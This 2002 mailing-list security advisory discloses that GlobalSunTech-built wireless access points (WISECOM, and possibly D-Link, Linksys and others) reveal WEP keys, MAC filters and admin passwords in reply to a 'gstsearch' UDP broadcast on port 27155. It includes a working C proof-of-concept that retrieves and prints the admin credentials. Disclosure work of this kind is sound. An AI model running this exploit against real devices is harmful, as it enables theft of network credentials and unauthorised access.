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From: Tom Knienieder (knienieder_at_khamsin.ch)
Date: Sun Nov 03 2002 - 07:43:25 CST

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    KHAMSIN Security News
    KSN Reference: 2002-11-01 0001 ULO

            Accesspoints disclose wep keys, password and mac filter



    Description: ------------

    GlobalSunTech develops Wireless Access Points for OEM customers like Linksys, D-Link and others. Capturing the traffic of a WISECOM GL2422AP-0T during the setup phase showed a security problem.

    Sending a broadcast packet to UDP port 27155 containing the string "gstsearch" causes the accesspoint to return wep keys, mac filter and admin password. This happens on the WLAN Side and on the LAN Side.

    Systems Affected ---------------- Vulnerable, tested, OEM Version from GlobalSunTech: WISECOM GL2422AP-0T

    Possibly vulnerable, not tested, OEM Version from GlobalSunTech: D-Link DWL-900AP+ B1 version 2.1 and 2.2 ALLOY GL-2422AP-S EUSSO GL2422-AP LINKSYS WAP11-V2.2

    Proof of concept: -----------------

    #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <netinet/in.h> #include <sys/socket.h>

    typedef struct { char type[28]; char name[32]; char user[16]; char pass[16]; } __attribute__ ((packed)) answer;

    int main() { char rcvbuffer[1024]; struct sockaddr_in sin; answer* ans = (answer *)rcvbuffer; int sd, ret, val;

    sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(""); sin.sin_port = htons(27155);

    sd = socket(AF_INET, SOCK_DGRAM, 0); if (sd < 0) perror("socket");

    val = 1; ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val)); if (ret < 0) { perror("setsockopt"); exit(1); }

    ret = sendto(sd, "gstsearch", 9, 0, &sin, sizeof(struct sockaddr)); if (ret < 0) { perror("sendto"); exit(1); }

    ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));

    printf("Type : %s\n",ans->type); printf("Announced Name : %s\n",ans->name); printf("Admin Username : %s\n",ans->user); printf("Admin Password : %s\n",ans->pass);

    return 0; }

    Disclaimer -----------

    This advisory does not claim to be complete or to be usable for any purpose. Especially information on the vulnerable systems may be inaccurate or wrong. Possibly supplied exploit code is not to be used for malicious purposes, but for educational purposes only. This advisory is free for open distribution in unmodified form.